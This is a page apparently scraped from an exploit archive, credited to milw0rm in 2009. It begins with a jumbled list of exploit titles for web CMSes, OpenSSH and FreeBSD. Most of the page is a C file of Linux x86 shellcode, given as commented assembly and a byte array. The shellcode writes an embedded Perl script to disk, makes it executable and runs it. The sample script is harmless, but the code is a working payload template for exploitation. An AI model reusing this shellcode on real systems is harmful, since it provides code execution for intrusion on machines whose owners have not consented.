477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
90 lines
No EOL
2 KiB
C
Executable file
90 lines
No EOL
2 KiB
C
Executable file
/*
|
|
Author : darkjoker
|
|
Site : http://darkjoker.net23.net
|
|
Shellcode : linux/x86 Perl script execution 99 bytes + script length
|
|
|
|
|
|
.global _start
|
|
|
|
_start:
|
|
xor %eax, %eax
|
|
xor %ebx, %ebx
|
|
xor %ecx, %ecx
|
|
xor %edx, %edx
|
|
xor %edi, %edi
|
|
xor %esi, %esi
|
|
push %eax
|
|
push $0x6c702e30
|
|
push $0x30307470
|
|
push $0x69726373
|
|
|
|
mov %esp, %ebx
|
|
movb $0x5, %al
|
|
movb $0x41, %cl
|
|
int $0x80
|
|
jmp one
|
|
|
|
two:
|
|
|
|
mov %ebx, %esi
|
|
mov %eax, %ebx
|
|
|
|
pop %edi
|
|
|
|
push %edi
|
|
|
|
// Begin http://www.int80h.org/strlen/
|
|
xor %ecx, %ecx
|
|
xor %eax, %eax
|
|
not %ecx
|
|
repne scasb
|
|
not %ecx
|
|
dec %ecx
|
|
// End http://www.int80h.org/strlen/
|
|
|
|
pop %edi
|
|
mov %ecx, %eax
|
|
mov %edi, %ecx
|
|
mov %eax, %edx
|
|
|
|
movb $0x4, %al
|
|
int $0x80
|
|
|
|
movb $0x6, %al
|
|
int $0x80
|
|
|
|
mov %esi, %ebx
|
|
movb $0xf, %al
|
|
movw $0x1fc, %cx
|
|
int $0x80
|
|
|
|
movb $0xb, %al
|
|
xor %ecx, %ecx
|
|
xor %edx, %edx
|
|
int $0x80
|
|
|
|
movb $0x1, %al
|
|
xor %ebx, %ebx
|
|
int $0x80
|
|
|
|
one:
|
|
call two
|
|
.string "#!/usr/bin/perl\nprint (\"Hello world!\\n\");\n"
|
|
*/
|
|
char main [] =
|
|
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
|
|
"\x31\xff\x31\xf6\x50\x68\x30\x2e"
|
|
"\x70\x6c\x68\x70\x74\x30\x30\x68"
|
|
"\x73\x63\x72\x69\x89\xe3\xb0\x05"
|
|
"\xb1\x41\xcd\x80\xeb\x38\x89\xde"
|
|
"\x89\xc3\x5f\x57\x31\xc9\x31\xc0"
|
|
"\xf7\xd1\xf2\xae\xf7\xd1\x49\x5f"
|
|
"\x89\xc8\x89\xf9\x89\xc2\xb0\x04"
|
|
"\xcd\x80\xb0\x06\xcd\x80\x89\xf3"
|
|
"\xb0\x0f\x66\xb9\xfc\x01\xcd\x80"
|
|
"\xb0\x0b\x31\xc9\x31\xd2\xcd\x80"
|
|
"\xb0\x01\x31\xdb\xcd\x80\xe8\xc3"
|
|
"\xff\xff\xff"
|
|
"#!/usr/bin/perl\nprint (\"Hello world!\\n\");\n"; // Here script source
|
|
|
|
// milw0rm.com [2009-03-03]
|